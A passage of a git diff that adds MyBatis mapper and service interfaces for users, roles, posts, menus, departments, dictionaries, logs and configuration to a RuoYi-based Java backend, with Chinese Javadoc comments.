批量删除角色菜单关联信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteRoleMenu(Long[] ids); + + /** + * 批量新增角色菜单信息 + * + * @param roleMenuList 角色菜单列表 + * @return 结果 + */ + public int batchRoleMenu(List roleMenuList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java new file mode 100644 index 0000000..89c1774 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java @@ -0,0 +1,137 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.common.core.domain.entity.SysUser; +import org.apache.ibatis.annotations.Select; +import org.apache.ibatis.annotations.Update; + +/** + * 用户表 数据层 + * + * @author ruoyi + */ +public interface SysUserMapper +{ + /** + * 根据条件分页查询用户列表 + * + * @param sysUser 用户信息 + * @return 用户信息集合信息 + */ + public List selectUserList(SysUser sysUser); + + /** + * 根据条件分页查询已配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectAllocatedList(SysUser user); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUnallocatedList(SysUser user); + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + public SysUser selectUserByUserName(String userName); + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + public SysUser selectUserById(Long userId); + + /** + * 新增用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int insertUser(SysUser user); + + /** + * 修改用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUser(SysUser user); + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + public int updateUserAvatar(@Param("userName") String userName, @Param("avatar") String avatar); + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + public int resetUserPwd(@Param("userName") String userName, @Param("password") String password); + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserById(Long userId); + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + public int deleteUserByIds(Long[] userIds); + + /** + * 校验用户名称是否唯一 + * + * @param userName 用户名称 + * @return 结果 + */ + public SysUser checkUserNameUnique(String userName); + + /** + * 校验手机号码是否唯一 + * + * @param phonenumber 手机号码 + * @return 结果 + */ + public SysUser checkPhoneUnique(String phonenumber); + + /** + * 校验email是否唯一 + * + * @param email 用户邮箱 + * @return 结果 + */ + public SysUser checkEmailUnique(String email); + + List selectUnboundAdminUser(SysUser user); + + @Update("update sys_user set google_key=#{googleKey} where user_id=#{userId}") + void updateUserForGoogleKey(@Param("googleKey") String googleKey,@Param("userId") Long userId); + + @Select("select * from sys_user where (user_type != 0 or user_type != 00) and del_flag = '0' ") + List selectAllAgentUser(SysUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java new file mode 100644 index 0000000..e08991d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import com.ruoyi.system.domain.SysUserPost; + +/** + * 用户与岗位关联表 数据层 + * + * @author ruoyi + */ +public interface SysUserPostMapper +{ + /** + * 通过用户ID删除用户和岗位关联 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserPostByUserId(Long userId); + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + public int countUserPostById(Long postId); + + /** + * 批量删除用户和岗位关联 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteUserPost(Long[] ids); + + /** + * 批量新增用户岗位信息 + * + * @param userPostList 用户角色列表 + * @return 结果 + */ + public int batchUserPost(List userPostList); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java new file mode 100644 index 0000000..3143ec8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.system.mapper; + +import java.util.List; +import org.apache.ibatis.annotations.Param; +import com.ruoyi.system.domain.SysUserRole; + +/** + * 用户与角色关联表 数据层 + * + * @author ruoyi + */ +public interface SysUserRoleMapper +{ + /** + * 通过用户ID删除用户和角色关联 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserRoleByUserId(Long userId); + + /** + * 批量删除用户和角色关联 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteUserRole(Long[] ids); + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + public int countUserRoleByRoleId(Long roleId); + + /** + * 批量新增用户角色信息 + * + * @param userRoleList 用户角色列表 + * @return 结果 + */ + public int batchUserRole(List userRoleList); + + /** + * 删除用户和角色关联信息 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + public int deleteUserRoleInfo(SysUserRole userRole); + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要删除的用户数据ID + * @return 结果 + */ + public int deleteUserRoleInfos(@Param("roleId") Long roleId, @Param("userIds") Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java new file mode 100644 index 0000000..b307776 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java @@ -0,0 +1,89 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysConfig; + +/** + * 参数配置 服务层 + * + * @author ruoyi + */ +public interface ISysConfigService +{ + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + public SysConfig selectConfigById(Long configId); + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数键名 + * @return 参数键值 + */ + public String selectConfigByKey(String configKey); + + /** + * 获取验证码开关 + * + * @return true开启,false关闭 + */ + public boolean selectCaptchaEnabled(); + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + public List selectConfigList(SysConfig config); + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int insertConfig(SysConfig config); + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int updateConfig(SysConfig config); + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + public void deleteConfigByIds(Long[] configIds); + + /** + * 加载参数缓存数据 + */ + public void loadingConfigCache(); + + /** + * 清空参数缓存数据 + */ + public void clearConfigCache(); + + /** + * 重置参数缓存数据 + */ + public void resetConfigCache(); + + /** + * 校验参数键名是否唯一 + * + * @param config 参数信息 + * @return 结果 + */ + public boolean checkConfigKeyUnique(SysConfig config); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java new file mode 100644 index 0000000..f228208 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java @@ -0,0 +1,124 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysDept; + +/** + * 部门管理 服务层 + * + * @author ruoyi + */ +public interface ISysDeptService +{ + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + public List selectDeptList(SysDept dept); + + /** + * 查询部门树结构信息 + * + * @param dept 部门信息 + * @return 部门树信息集合 + */ + public List selectDeptTreeList(SysDept dept); + + /** + * 构建前端所需要树结构 + * + * @param depts 部门列表 + * @return 树结构列表 + */ + public List buildDeptTree(List depts); + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + public List buildDeptTreeSelect(List depts); + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + public List selectDeptListByRoleId(Long roleId); + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + public SysDept selectDeptById(Long deptId); + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + public int selectNormalChildrenDeptById(Long deptId); + + /** + * 是否存在部门子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + public boolean hasChildByDeptId(Long deptId); + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + public boolean checkDeptExistUser(Long deptId); + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + public boolean checkDeptNameUnique(SysDept dept); + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + public void checkDeptDataScope(Long deptId); + + /** + * 新增保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int insertDept(SysDept dept); + + /** + * 修改保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int updateDept(SysDept dept); + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + public int deleteDeptById(Long deptId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java new file mode 100644 index 0000000..9bc4f13 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictData; + +/** + * 字典 业务层 + * + * @author ruoyi + */ +public interface ISysDictDataService +{ + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + public List selectDictDataList(SysDictData dictData); + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + public String selectDictLabel(String dictType, String dictValue); + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + public SysDictData selectDictDataById(Long dictCode); + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + public void deleteDictDataByIds(Long[] dictCodes); + + /** + * 新增保存字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int insertDictData(SysDictData dictData); + + /** + * 修改保存字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int updateDictData(SysDictData dictData); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java new file mode 100644 index 0000000..01c1c1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java @@ -0,0 +1,98 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysDictType; + +/** + * 字典 业务层 + * + * @author ruoyi + */ +public interface ISysDictTypeService +{ + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + public List selectDictTypeList(SysDictType dictType); + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + public List selectDictTypeAll(); + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + public List selectDictDataByType(String dictType); + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + public SysDictType selectDictTypeById(Long dictId); + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + public SysDictType selectDictTypeByType(String dictType); + + /** + * 批量删除字典信息 + * + * @param dictIds 需要删除的字典ID + */ + public void deleteDictTypeByIds(Long[] dictIds); + + /** + * 加载字典缓存数据 + */ + public void loadingDictCache(); + + /** + * 清空字典缓存数据 + */ + public void clearDictCache(); + + /** + * 重置字典缓存数据 + */ + public void resetDictCache(); + + /** + * 新增保存字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int insertDictType(SysDictType dictType); + + /** + * 修改保存字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int updateDictType(SysDictType dictType); + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + public boolean checkDictTypeUnique(SysDictType dictType); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java new file mode 100644 index 0000000..ce3151d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java @@ -0,0 +1,40 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysLogininfor; + +/** + * 系统访问日志情况信息 服务层 + * + * @author ruoyi + */ +public interface ISysLogininforService +{ + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + public void insertLogininfor(SysLogininfor logininfor); + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + public List selectLogininforList(SysLogininfor logininfor); + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + public int deleteLogininforByIds(Long[] infoIds); + + /** + * 清空系统登录日志 + */ + public void cleanLogininfor(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java new file mode 100644 index 0000000..7d60696 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java @@ -0,0 +1,144 @@ +package com.ruoyi.system.service; + +import java.util.List; +import java.util.Set; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.system.domain.vo.RouterVo; + +/** + * 菜单 业务层 + * + * @author ruoyi + */ +public interface ISysMenuService +{ + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuList(Long userId); + + /** + * 根据用户查询系统菜单列表 + * + * @param menu 菜单信息 + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuList(SysMenu menu, Long userId); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public Set selectMenuPermsByUserId(Long userId); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + public Set selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询菜单树信息 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + public List selectMenuListByRoleId(Long roleId); + + /** + * 构建前端路由所需要的菜单 + * + * @param menus 菜单列表 + * @return 路由列表 + */ + public List buildMenus(List menus); + + /** + * 构建前端所需要树结构 + * + * @param menus 菜单列表 + * @return 树结构列表 + */ + public List buildMenuTree(List menus); + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + public List buildMenuTreeSelect(List menus); + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + public SysMenu selectMenuById(Long menuId); + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + public boolean hasChildByMenuId(Long menuId); + + /** + * 查询菜单是否存在角色 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + public boolean checkMenuExistRole(Long menuId); + + /** + * 新增保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int insertMenu(SysMenu menu); + + /** + * 修改保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int updateMenu(SysMenu menu); + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int deleteMenuById(Long menuId); + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean checkMenuNameUnique(SysMenu menu); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java new file mode 100644 index 0000000..47ce1b7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysNotice; + +/** + * 公告 服务层 + * + * @author ruoyi + */ +public interface ISysNoticeService +{ + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + public SysNotice selectNoticeById(Long noticeId); + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + public List selectNoticeList(SysNotice notice); + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int insertNotice(SysNotice notice); + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int updateNotice(SysNotice notice); + + /** + * 删除公告信息 + * + * @param noticeId 公告ID + * @return 结果 + */ + public int deleteNoticeById(Long noticeId); + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + public int deleteNoticeByIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java new file mode 100644 index 0000000..4fd8e5a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志 服务层 + * + * @author ruoyi + */ +public interface ISysOperLogService +{ + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + public void insertOperlog(SysOperLog operLog); + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + public List selectOperLogList(SysOperLog operLog); + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + public int deleteOperLogByIds(Long[] operIds); + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + public SysOperLog selectOperLogById(Long operId); + + /** + * 清空操作日志 + */ + public void cleanOperLog(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java new file mode 100644 index 0000000..84779bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java @@ -0,0 +1,99 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysPost; + +/** + * 岗位信息 服务层 + * + * @author ruoyi + */ +public interface ISysPostService +{ + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位列表 + */ + public List selectPostList(SysPost post); + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + public List selectPostAll(); + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + public SysPost selectPostById(Long postId); + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + public List selectPostListByUserId(Long userId); + + /** + * 校验岗位名称 + * + * @param post 岗位信息 + * @return 结果 + */ + public boolean checkPostNameUnique(SysPost post); + + /** + * 校验岗位编码 + * + * @param post 岗位信息 + * @return 结果 + */ + public boolean checkPostCodeUnique(SysPost post); + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + public int countUserPostById(Long postId); + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + public int deletePostById(Long postId); + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + public int deletePostByIds(Long[] postIds); + + /** + * 新增保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int insertPost(SysPost post); + + /** + * 修改保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int updatePost(SysPost post); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java new file mode 100644 index 0000000..6c29f09 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java @@ -0,0 +1,173 @@ +package com.ruoyi.system.service; + +import java.util.List; +import java.util.Set; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.system.domain.SysUserRole; + +/** + * 角色业务层 + * + * @author ruoyi + */ +public interface ISysRoleService +{ + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + public List selectRoleList(SysRole role); + + /** + * 根据用户ID查询角色列表 + * + * @param userId 用户ID + * @return 角色列表 + */ + public List selectRolesByUserId(Long userId); + + /** + * 根据用户ID查询角色权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public Set selectRolePermissionByUserId(Long userId); + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + public List selectRoleAll(); + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + public List selectRoleListByUserId(Long userId); + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + public SysRole selectRoleById(Long roleId); + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + public boolean checkRoleNameUnique(SysRole role); + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + public boolean checkRoleKeyUnique(SysRole role); + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + public void checkRoleAllowed(SysRole role); + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + public void checkRoleDataScope(Long roleId); + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + public int countUserRoleByRoleId(Long roleId); + + /** + * 新增保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int insertRole(SysRole role); + + /** + * 修改保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRole(SysRole role); + + /** + * 修改角色状态 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRoleStatus(SysRole role); + + /** + * 修改数据权限信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int authDataScope(SysRole role); + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleById(Long roleId); + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + public int deleteRoleByIds(Long[] roleIds); + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + public int deleteAuthUser(SysUserRole userRole); + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + public int deleteAuthUsers(Long roleId, Long[] userIds); + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要删除的用户数据ID + * @return 结果 + */ + public int insertAuthUsers(Long roleId, Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java new file mode 100644 index 0000000..2175c48 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java @@ -0,0 +1,17 @@ +package com.ruoyi.system.service; + +import com.ruoyi.bussiness.domain.vo.SysDataVO; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 系统首页数据统计 + * + * @author ruoyi + */ +@Service +public interface ISysStatisticsService { + + List getDataList(String parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java new file mode 100644 index 0000000..8eb5448 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.service; + +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.system.domain.SysUserOnline; + +/** + * 在线用户 服务层 + * + * @author ruoyi + */ +public interface ISysUserOnlineService +{ + /** + * 通过登录地址查询信息 + * + * @param ipaddr 登录地址 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByIpaddr(String ipaddr, LoginUser user); + + /** + * 通过用户名称查询信息 + * + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByUserName(String userName, LoginUser user); + + /** + * 通过登录地址/用户名称查询信息 + * + * @param ipaddr 登录地址 + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByInfo(String ipaddr, String userName, LoginUser user); + + /** + * 设置在线用户信息 + * + * @param user 用户信息 + * @return 在线用户 + */ + public SysUserOnline loginUserToUserOnline(LoginUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java new file mode 100644 index 0000000..877fc09 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java @@ -0,0 +1,216 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysUser; + +/** + * 用户 业务层 + * + * @author ruoyi + */ +public interface ISysUserService +{ + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUserList(SysUser user); + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectAllocatedList(SysUser user); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUnallocatedList(SysUser user); + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + public SysUser selectUserByUserName(String userName); + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + public SysUser selectUserById(Long userId); + + /** + * 根据用户ID查询用户所属角色组 + * + * @param userName 用户名 + * @return 结果 + */ + public String selectUserRoleGroup(String userName); + + /** + * 根据用户ID查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + public String selectUserPostGroup(String userName); + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkUserNameUnique(SysUser user); + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkPhoneUnique(SysUser user); + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkEmailUnique(SysUser user); + + /** + * 校验用户是否允许操作 + * + * @param user 用户信息 + */ + public void checkUserAllowed(SysUser user); + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + public void checkUserDataScope(Long userId); + + /** + * 新增用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int insertUser(SysUser user); + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean registerUser(SysUser user); + + /** + * 修改用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUser(SysUser user); + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + public void insertUserAuth(Long userId, Long[] roleIds); + + /** + * 修改用户状态 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUserStatus(SysUser user); + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUserProfile(SysUser user); + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + public boolean updateUserAvatar(String userName, String avatar); + + /** + * 重置用户密码 + * + * @param user 用户信息 + * @return 结果 + */ + public int resetPwd(SysUser user); + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + public int resetUserPwd(String userName, String password); + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserById(Long userId); + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + public int deleteUserByIds(Long[] userIds); + + /** + * 导入用户数据 + * + * @param userList 用户数据列表 + * @param isUpdateSupport 是否更新支持,如果已存在,则进行更新数据 + * @param operName 操作用户 + * @return 结果 + */ + public String importUser(List userList, Boolean isUpdateSupport, String operName); + + int bindingAppUser(Long userId, Long[] appUserIds); + + int bindingAdminUser(Long userId, Long[] adminUserIds); + + List selectUnboundAdminUser(SysUser user); + + void updateUserForGoogleKey(SysUser user); + + List selectAllAgentUser(SysUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java new file mode 100644 index 0000000..4d29b22 --- /dev/null +++ 